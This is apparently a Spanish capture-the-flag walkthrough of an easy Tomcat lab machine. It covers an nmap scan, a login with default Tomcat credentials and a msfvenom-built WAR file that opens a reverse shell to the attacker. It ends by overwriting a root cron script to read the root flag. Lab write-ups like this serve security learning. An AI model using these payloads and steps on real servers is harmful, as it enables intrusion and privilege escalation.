Table of Contents

LinkNivelCreador
AquíFácilstuxnet

Reconocimiento

Como siempre, ejecutemos nmap para ver qué puertos están abiertos.

╰─ lanfran@parrot ❯ map 10.10.128.244                                                                                              ─╯
[sudo] password for lanfran: 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-04 13:43 CEST
Nmap scan report for 10.10.128.244
Host is up (0.10s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.03 seconds

Como indican el nombre y la imagen de portada de la sala, la máquina está ejecutando un servidor Apache Tomcat en el puerto 8080.

Acceso inicial - Usuario

Obtenemos la página predeterminada de Tomcat, y también podemos ir a la pestaña Manager App.

¿Quizás si probamos con las credenciales predeterminadas para Tomcat? tomcat:s3cret

¡SÍ! ¡Estamos adentro! Foothold

¡Y aquí adentro, podemos cargar un archivo .war!

¡Así que ejecutemos msfconsole y msfvenom para crear un payload!

#Creando el payload
╰─ lanfran@parrot ❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=tun0 LPORT=5555 -f war > shell.war                                ─╯
Payload size: 1091 bytes
Final size of war file: 1091 bytes
#Corriendo Metasploit para capturar la conexión
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf6 exploit(multi/handler) > options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (java/jsp_shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port
   SHELL                   no        The system shell to use.


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.9.6.21:5555

Ahora carguemos nuestro archivo shell.war.

Y navegue hasta el nombre de archivo “raro”. En mi caso fue http://10.10.128.244:8080/hgkFDt6wiHIUB29WWEON5PA/

Después de eso, deberíamos tener un nuevo shell en Metasploit.

[*] Command shell session 1 opened (10.9.6.21:5555 -> 10.10.128.244:34468) at 2021-07-04 13:57:31 +0200

id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Mejoremos nuestra shell con Python.

python -c 'import pty;pty.spawn("/bin/bash")'

¡Genial! Ahora podemos leer la bandera del usuario.

tomcat@ubuntu:/home/jack$ cat user.txt
3[REDACTADO]f

Root

Hay un trabajo cron (cron job) ejecutándose con los privilegios de root.

Así que vayamos a /home/jack y copiemos la flag de root en un archivo en nuestro directorio de inicio.

tomcat@ubuntu:/home/jack$ echo "cat /root/root.txt > test.txt" > id.sh
tomcat@ubuntu:/home/jack$ cat id.sh
cat /root/root.txt > test.txt

Después de un minuto, obtenemos la bandera de root en test.txt

tomcat@ubuntu:/home/jack$ cat test.txt            
d[REDACTADO]a

¡Y hemos “rooteado” la máquina!

Eso es todo de mi parte, ¡espero que lo encuentre útil!